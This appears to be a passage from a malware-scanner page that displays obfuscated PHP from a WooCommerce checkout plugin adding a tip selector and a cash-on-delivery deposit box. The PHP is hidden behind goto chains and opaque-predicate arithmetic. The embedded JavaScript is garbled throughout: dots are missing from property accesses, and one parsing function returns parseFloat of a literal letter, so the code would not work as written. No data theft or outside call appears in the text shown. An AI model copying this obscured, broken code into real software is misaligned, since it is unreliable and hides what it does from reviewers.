<div id=\"tip-message\" style=\"color:green;display:none;\">";$U2yzA8H=array();$U2yzA8H[]='Thank you, we appreciate it';$U2yzA8H[]='your-plugin-domain';$U2yeF8G=call_user_func_array("esc_html_e",$U2yzA8H);unset($U2yzA8H);echo "</div>";echo "
<input type=\"hidden\" name=\"order_tip_amount\" id=\"order_tip_amount\" value=\"0\">";echo "
<input type=\"hidden\" id=\"tip-currency-symbol\" value=\"";$U2yzA8H=array();$U2yzA8H[]=&$currency_symbol;$U2yeF8G=call_user_func_array("esc_attr",$U2yzA8H);unset($U2yzA8H);echo $U2yeF8G;echo "\">";echo "
</div>";echo "
";goto U2yx43;U2yldMhx44:U2yx43:$U2yOiRy86=4917;$U2y8G=$gateway->enable_cod_deposit=='yes';if($U2y8G)goto U2yeWjgx46;goto U2yldMhx46;U2yeWjgx46:$U2yOiRy86="a"*"r";goto U2yx45;U2yldMhx46:U2yx45:$U2y8G=8*2;$U2y8H=$U2y8G+8;$U2y8I=$U2yOiRy86==$U2y8H;if($U2y8I)goto U2yeWjgx4m;goto U2yldMhx4m;U2yeWjgx4m:$U2yzA8H=array();$U2yeF8G=call_user_func_array("get_woocommerce_currency_symbol",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$currency_symbol=$U2ytI8G;$U2y8G=!empty($gateway->cod_deposit_label);if($U2y8G)goto U2yeWjgx4o;goto U2yldMhx4o;U2yeWjgx4o:goto U2yeWjgx48;goto U2yx4n;U2yldMhx4o:U2yx4n:goto U2yldMhx48;U2yeWjgx48:$U2y8H=$gateway->cod_deposit_label;goto U2yx47;U2yldMhx48:$U2y8H='货到付款';U2yx47:unset($U2ytI8I);$U2ytI8I=$U2y8H;unset($U2ytI8G);$U2ytI8G=$U2ytI8I;$cod_label=$U2ytI8G;$U2y8G=!empty($gateway->cod_deposit_label_desc1);if($U2y8G)goto U2yeWjgx4q;goto U2yldMhx4q;U2yeWjgx4q:goto U2yeWjgx4a;goto U2yx4p;U2yldMhx4q:U2yx4p:goto U2yldMhx4a;U2yeWjgx4a:$U2y8H=$gateway->cod_deposit_label_desc1;goto U2yx49;U2yldMhx4a:$U2y8H='';U2yx49:unset($U2ytI8I);$U2ytI8I=$U2y8H;unset($U2ytI8G);$U2ytI8G=$U2ytI8I;$desc=$U2ytI8G;$U2y8G=!empty($gateway->cod_deposit_label_desc2);if($U2y8G)goto U2yeWjgx4s;goto U2yldMhx4s;U2yeWjgx4s:goto U2yeWjgx4c;goto U2yx4r;U2yldMhx4s:U2yx4r:goto U2yldMhx4c;U2yeWjgx4c:$U2y8H=$gateway->cod_deposit_label_desc2;goto U2yx4b;U2yldMhx4c:$U2y8H='Deposit (pay now):';U2yx4b:unset($U2ytI8I);$U2ytI8I=$U2y8H;unset($U2ytI8G);$U2ytI8G=$U2ytI8I;$label1=$U2ytI8G;$U2y8G=!empty($gateway->cod_deposit_label_desc3);if($U2y8G)goto U2yeWjgx4u;goto U2yldMhx4u;U2yeWjgx4u:goto U2yeWjgx4e;goto U2yx4t;U2yldMhx4u:U2yx4t:goto U2yldMhx4e;U2yeWjgx4e:$U2y8H=$gateway->cod_deposit_label_desc3;goto U2yx4d;U2yldMhx4e:$U2y8H='Balance (on delivery):';U2yx4d:unset($U2ytI8I);$U2ytI8I=$U2y8H;unset($U2ytI8G);$U2ytI8G=$U2ytI8I;$label2=$U2ytI8G;if(empty($desc))goto U2yeWjgx4w;goto U2yldMhx4w;U2yeWjgx4w:goto U2yeWjgx4g;goto U2yx4v;U2yldMhx4w:U2yx4v:goto U2yldMhx4g;U2yeWjgx4g:$U2y8G=$gateway->cod_deposit_type==='percent';if($U2y8G)goto U2yeWjgx4y;goto U2yldMhx4y;U2yeWjgx4y:goto U2yeWjgx4i;goto U2yx4x;U2yldMhx4y:U2yx4x:goto U2yldMhx4i;U2yeWjgx4i:unset($U2ytI8G);$U2ytI8G='下单需预付订单总金额的 <b>{deposit_percent}%</b> 作为定金,剩余货款收货时支付。<div style="color:#888;font-size:13px;margin-top:4px;">选择其他支付方式无需定金。</div>';$desc=$U2ytI8G;goto U2yx4h;U2yldMhx4i:unset($U2ytI8G);$U2ytI8G='下单需预付 <b>{currency_symbol}{deposit_amount}</b> 作为定金,剩余货款收货时支付。<div style="color:#888;font-size:13px;margin-top:4px;">选择其他支付方式无需定金。</div>';$desc=$U2ytI8G;U2yx4h:goto U2yx4f;U2yldMhx4g:U2yx4f:unset($U2ytI8G);$U2ytI8G=floatval($gateway->cod_deposit_value);$deposit_percent=$U2ytI8G;$U2y8G=$gateway->cod_deposit_type==='percent';if($U2y8G)goto U2yeWjgx51;goto U2yldMhx51;U2yeWjgx51:goto U2yeWjgx4k;goto U2yx5z;U2yldMhx51:U2yx5z:goto U2yldMhx4k;U2yeWjgx4k:$U2y8H=$deposit_percent;goto U2yx4j;U2yldMhx4k:$U2y8H=round($gateway->cod_deposit_value,2);U2yx4j:unset($U2ytI8I);$U2ytI8I=$U2y8H;unset($U2ytI8G);$U2ytI8G=$U2ytI8I;$deposit_amount=$U2ytI8G;$U2yzAvP8G=array();$U2yzAvP8G[]='{deposit_percent}';$U2yzAvP8G[]='{deposit_amount}';$U2yzAvP8G[]='{currency_symbol}';$U2yzAvP8H=array();$U2yzAvP8H[]=$deposit_percent;$U2yzAvP8H[]=$deposit_amount;$U2yzAvP8H[]=$currency_symbol;$U2yzA8J=array();$U2yzA8J[]=&$U2yzAvP8G;$U2yzA8J[]=&$U2yzAvP8H;$U2yzA8J[]=&$desc;$U2yeF8I=call_user_func_array("str_replace",$U2yzA8J);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yeF8I;$desc=$U2ytI8G;echo " <div id=\"cod-deposit-box\" style=\"margin-bottom:18px; border:15px solid #e5e5e5; border-radius:7px; padding:15px 20px; background:#f9f9f9;\">";echo "
<label style=\"font-size:15px; color:#222; display:inline-flex; align-items:center;cursor:pointer;\">";echo "
<input type=\"checkbox\" name=\"custom_cod_checkbox\" id=\"custom_cod_checkbox\" value=\"1\" checked=\"checked\" style=\"margin-right:8px;\">";echo "
";$U2yzA8H=array();$U2yzA8H[]=&$cod_label;$U2yeF8G=call_user_func_array("esc_html",$U2yzA8H);unset($U2yzA8H);echo $U2yeF8G;echo " </label>";echo "
<div id=\"cod-deposit-desc\" style=\"margin-top:6px; color:#444; font-size:14px;padding-bottom: 5px;\">";echo "
";echo $desc;echo " </div>";echo "
<input type=\"hidden\" id=\"cod-deposit-type\" value=\"";echo esc_attr($gateway->cod_deposit_type);echo "\">";echo "
<input type=\"hidden\" id=\"cod-deposit-value\" value=\"";echo esc_attr($gateway->cod_deposit_value);echo "\">";echo "
<div id=\"cod-deposit-amount\" style=\"font-size: 15px;font-weight: 600;display: flex;justify-content: space-between;padding-top: 5px;\"></div>";echo "
<div id=\"cod-balance-amount\" style=\"font-size: 15px;font-weight: 600;display: flex;justify-content: space-between;\"></div>";echo "
</div>";echo "
";goto U2yx4l;U2yldMhx4m:U2yx4l:echo "";echo "
<script>";echo "
jQuery(function(\$) {";echo "
// ===== 移动区块到正确位置的函数 =====";echo "
var attempts = 0;";echo "
var maxAttempts = 15;";echo "
";echo "
function moveBlocksToCorrectPosition() {";echo "
attempts++;";echo "
var targetSelectors = [";echo "
'.wc_payment_methods',";echo "
'.woocommerce-checkout-paymentwc_payment_methods',";echo "
'#paymentwc_payment_methods',";echo "
'.woocommerce-checkout-payment',";echo "
'#payment'";echo "
];";echo "
var moved = false;";echo "
for (var i = 0; i < targetSelectorslength; i++) {";echo "
var \$target = \$(targetSelectors[i]);";echo "
if (\$targetlength && !moved) {";echo "
// 移动打赏区块";echo "
if (\$('#add-tip-section').length && !\$targetprev('#add-tip-section').length) {";echo "
\$('#add-tip-section').detach().insertBefore(\$target);";echo "
}";echo "
// 移动COD定金区块";echo "
if (\$('#cod-deposit-box').length && !\$targetprev('#cod-deposit-box').length) {";echo "
\$('#cod-deposit-box').detach().insertBefore(\$target);";echo "
}";echo "
moved = true;";echo "
break;";echo "
}";echo "
}";echo "
if (!moved && attempts < maxAttempts) {";echo "
setTimeout(moveBlocksToCorrectPosition, 300);";echo "
} else if (moved || attempts >= maxAttempts) {";echo "
bindAllEvents();";echo "
}";echo "
}";echo "
setTimeout(moveBlocksToCorrectPosition, 500);";echo "
\$(documentbody).on('updated_checkout', function() {";echo "
setTimeout(moveBlocksToCorrectPosition, 100);";echo "
});";echo "
";echo "
// ===================================";echo "
// 关键:自动跟随模板金额格式的函数";echo "
// ===================================";echo "
function isTemplateCommaStyle(amountStr) {";echo "
return amountStr && amountStrindexOf(',') !== -1;";echo "
}";echo "
";echo "
function getCurrencySymbol() {";echo "
return \$('#tip-currency-symbol').val() || '";$U2yzA8H=array();$U2yzA8H[]=&$currency_symbol;$U2yeF8G=call_user_func_array("esc_js",$U2yzA8H);unset($U2yzA8H);echo $U2yeF8G;echo "';";echo "
}";echo "
";echo "
function formatMoney(val, useComma) {";echo "
val = parseFloat(val);";echo "
if (isNaN(val)) val = 0;";echo "
if (useComma) {";echo "
return getCurrencySymbol() + valtoLocaleString('en-US', {";echo "
minimumFractionDigits: 2,";echo "
maximumFractionDigits: 2";echo "
});";echo "
} else {";echo "
return getCurrencySymbol() + valtoFixed(2);";echo "
}";echo "
}";echo "
";echo "
function parseTipAmount(tipText) {";echo "
let amount = tipTextreplace(/^[^\\d]+/, '');";echo "
amount = amountreplace(/,/g, '');";echo "
amount = amountmatch(/^\\d+(\\.\\d+)?/);";echo "
if (amount) {";echo "
return parseFloat("a");";echo "
}";echo "
return 0;";echo "
}";echo "
";echo "
function getSubtotalStr() {";echo "
return \$('.cart-subtotalamount').first().text() || \$('.woocommerce-checkout-review-order-table tfootcart-subtotalamount').text();";echo "
}";echo "
";echo "
function getSubtotal() {";echo "
return parseTipAmount(getSubtotalStr()) || 0;";echo "
}";echo "
";echo "
function getTotalStr() {";echo "
return \$('.order-totalamount').first().text() || \$('.woocommerce-checkout-review-order-table tfootorder-totalamount').text();";echo "
}";echo "
";echo "
function getTotal() {";echo "
return parseTipAmount(getTotalStr()) || 0;";echo "
}";echo "
// ===================================";echo "
";echo "
function bindAllEvents() {";echo "
if (\$('#add-tip-section').hasClass('events-bound')) {";echo "
return;";echo "
}";echo "
\$('#add-tip-section, #cod-deposit-box').addClass('events-bound');";echo "
";echo "
// ===== 打赏功能相关 =====";echo "
function toggleTipBox() {";echo "
var selected = \$('input[name=\"payment_method\"]:checked').val();";echo "
if (selected === 'woocommerce_payments_stripe_gateway') {";echo "
\$('#add-tip-section').show();";echo "
} else {";echo "
\$('#add-tip-section').hide();";echo "
}";echo "
}";echo "
";echo "
function toggleUpdateTipBtn() {";echo "
var val = parseFloat(\$('#custom-tip').val());";echo "
if (!isNaN(val) && val > 0) {";echo "
\$('#update-tip').prop('disabled', false);";echo "
} else {";echo "
\$('#update-tip').prop('disabled', true);";echo "
}";echo "
}";echo "
\$('#update-tip').prop('disabled', true);";echo "
";echo "
\$('#custom-tip').off('input').on('input', function() {";echo "
toggleUpdateTipBtn();";echo "
if (\$(this).val()) {";echo "
\$('.tip-btn').removeClass('selected');";echo "
}";echo "
});";echo "
";echo "
\$('.tip-btn').off('click').on('click', function() {";echo "
\$('#custom-tip').val('');";echo "
toggleUpdateTipBtn();";echo "
});";echo "
";echo "
function updateTipAmounts() {";echo "
var subtotalStr = getSubtotalStr();";echo "
var subtotal = parseTipAmount(subtotalStr) || 0;";echo "
var useComma = isTemplateCommaStyle(subtotalStr);";echo "
\$('.tip-btn').each(function() {";echo "
var percent = parseFloat(\$(this).data('tip'));";echo "
if (percent > 0) {";echo "
var tip = (subtotal * percent / 100).toFixed(2);";echo "
\$(this).find('.lh-tip-amount').text(formatMoney(tip, useComma));";echo "
} else {";echo "
\$(this).find('.lh-tip-amount').text('');";echo "
}";echo "
});";echo "
}";echo "
";echo "
function selectBtn(\$btn) {";echo "
\$('.tip-btn').removeClass('selected');";echo "
\$btnaddClass('selected');";echo "
}";echo "
\$('.tip-btn').off('click').on('click', function() {";echo "
var percent = parseFloat(\$(this).data('tip'));";echo "
var subtotal = getSubtotal();";echo "
if (percent > 0) {";echo "
var tip = (subtotal * percent / 100).toFixed(2);";echo "
\$('#custom-tip').val('');";echo "
\$('#order_tip_amount').val(tip);";echo "
selectBtn(\$(this));";echo "
} else {";echo "
\$('#custom-tip').val('');";echo "
\$('#order_tip_amount').val(0);";echo "
selectBtn(\$(this));";echo "
}";echo "
\$('#tip-message').hide();";echo "
\$('body').trigger('update_checkout');";echo "
});";echo "
\$('#update-tip').off('click').on('click', function() {";echo "
var tip = parseFloat(\$('#custom-tip').val()) || 0;";echo "
\$('#order_tip_amount').val(tip);";echo "
\$('.tip-btn').removeClass('selected');";echo "
\$('#tip-message').toggle(tip > 0);";echo "
\$('body').trigger('update_checkout');";echo "
});";echo "
";echo "
// ===== COD定金功能相关 =====";echo "
function getDepositType() {";echo "
return \$('#cod-deposit-type').val();";echo "
}";echo "
";echo "
function getDepositValue() {";echo "
var val = \$('#cod-deposit-value').val();";echo "
return isNaN(parseFloat(val)) ? 0 : parseFloat(val);";echo "
}";echo "
";echo "
function updateCODAmounts() {";echo "
var totalStr = getTotalStr();";echo "
var total = parseTipAmount(totalStr) || 0;";echo "
var useComma = isTemplateCommaStyle(totalStr);";echo "
";echo "
var deposit = 0;";echo "
var deposit_type = getDepositType();";echo "
var deposit_value = getDepositValue();";echo "
";echo "
if (deposit_type === 'percent') {";echo "
deposit = Mathround(total * deposit_value) / 100;";echo "
} else {";echo "
deposit = deposit_value;";echo "
if (deposit > total) deposit = total;";echo "
}";echo "
var balance = total - deposit;";echo "
if (balance < 0) balance = 0;";echo "
";echo "
var cod_deposit_label = ";unset($U2ysNvP8G);$U2yOiRy88=4928;if(isset($label1))goto U2yeWjgx53;goto U2yldMhx53;U2yeWjgx53:$U2yOiRy88="y"*"r";goto U2yx52;U2yldMhx53:$U2y8H=null!=='Deposit (pay now):';if($U2y8H)goto U2yeWjgx54;goto U2yldMhx54;U2yeWjgx54:$U2yOiRy88="a"*"a";goto U2yx52;U2yldMhx54:U2yx52:$U2y8I=4*17;$U2y8J=$U2y8I+136;$U2y8K=$U2yOiRy88==$U2y8J;if($U2y8K)goto U2yeWjgx56;goto U2yldMhx56;U2yeWjgx56:$U2ysNvP8G='Deposit (pay now):';goto U2yx55;U2yldMhx56:$U2y8L=20*14;$U2y8M=$U2y8L-252;$U2y8N=$U2yOiRy88==$U2y8M;if($U2y8N)goto U2yeWjgx57;goto U2yldMhx57;U2yeWjgx57:$U2ysNvP8G=$label1;goto U2yx55;U2yldMhx57:U2yx55:$U2yzA8I=array();$U2yzA8I[]=&$U2ysNvP8G;$U2yeF8H=call_user_func_array("json_encode",$U2yzA8I);unset($U2yzA8I);echo $U2yeF8H;echo ";";echo "
var cod_balance_label = ";unset($U2ysNvP8G);$U2yOiRy90=4922;if(isset($label2))goto U2yeWjgx59;goto U2yldMhx59;U2yeWjgx59:$U2yOiRy90="r"*"r";goto U2yx58;U2yldMhx59:$U2y8H=null!=='Balance (on delivery):';if($U2y8H)goto U2yeWjgx5a;goto U2yldMhx5a;U2yeWjgx5a:$U2yOiRy90="a"*"r";goto U2yx58;U2yldMhx5a:U2yx58:$U2y8I=17*20;$U2y8J=$U2y8I-316;$U2y8K=$U2yOiRy90==$U2y8J;if($U2y8K)goto U2yeWjgx5c;goto U2yldMhx5c;U2yeWjgx5c:$U2ysNvP8G='Balance (on delivery):';goto U2yx5b;U2yldMhx5c:$U2y8L=9*19;$U2y8M=$U2y8L-161;$U2y8N=$U2yOiRy90==$U2y8M;if($U2y8N)goto U2yeWjgx5d;goto U2yldMhx5d;U2yeWjgx5d:$U2ysNvP8G=$label2;goto U2yx5b;U2yldMhx5d:U2yx5b:$U2yzA8I=array();$U2yzA8I[]=&$U2ysNvP8G;$U2yeF8H=call_user_func_array("json_encode",$U2yzA8I);unset($U2yzA8I);echo $U2yeF8H;echo ";";echo "
\$('#cod-deposit-amount').html(cod_deposit_label + '<span style=\"font-size:16px;\">' + formatMoney(deposit, useComma) + '</span>');";echo "
\$('#cod-balance-amount').html(cod_balance_label + '<span style=\"font-size:16px;\">' + formatMoney(balance, useComma) + '</span>');";echo "
}";echo "
";echo "
function toggleCODBox() {";echo "
var checked = \$('#custom_cod_checkbox').prop('checked');";echo "
if (checked) {";echo "
\$('#cod-deposit-desc').show();";echo "
\$('#cod-deposit-amount').show();";echo "
\$('#cod-balance-amount').show();";echo "
} else {";echo "
\$('#cod-deposit-desc').hide();";echo "
\$('#cod-deposit-amount').hide();";echo "
\$('#cod-balance-amount').hide();";echo "
}";echo "
}";echo "
";echo "
function toggleCodBox() {";echo "
var selected = \$('input[name=\"payment_method\"]:checked').val();";echo "
if (selected === 'woocommerce_payments_stripe_gateway') {";echo "
\$('#cod-deposit-box').show();";echo "
} else {";echo "
\$('#cod-deposit-box').hide();";echo "
}";echo "
}";echo "
\$('#custom_cod_checkbox').off('change').on('change', function() {";echo "
toggleCODBox();";echo "
});";echo "
\$(document).off('change', 'input[name=\"payment_method\"]').on('change', 'input[name=\"payment_method\"]', function() {";echo "
toggleTipBox();";echo "
toggleCodBox();";echo "
updateTipAmounts();";echo "
updateCODAmounts();";echo "
});";echo "
";echo "
// 初始化";echo "
toggleTipBox();";echo "
toggleCodBox();";echo "
toggleCODBox();";echo "
updateTipAmounts();";echo "
updateCODAmounts();";echo "
";echo "
\$(documentbody).off('updated_checkoutlighthouse').on('updated_checkoutlighthouse', function() {";echo "
updateTipAmounts();";echo "
updateCODAmounts();";echo "
});";echo "
}";echo "
});";echo "
</script>";echo "
";}
© 2023 Quttera Ltd. All rights reserved.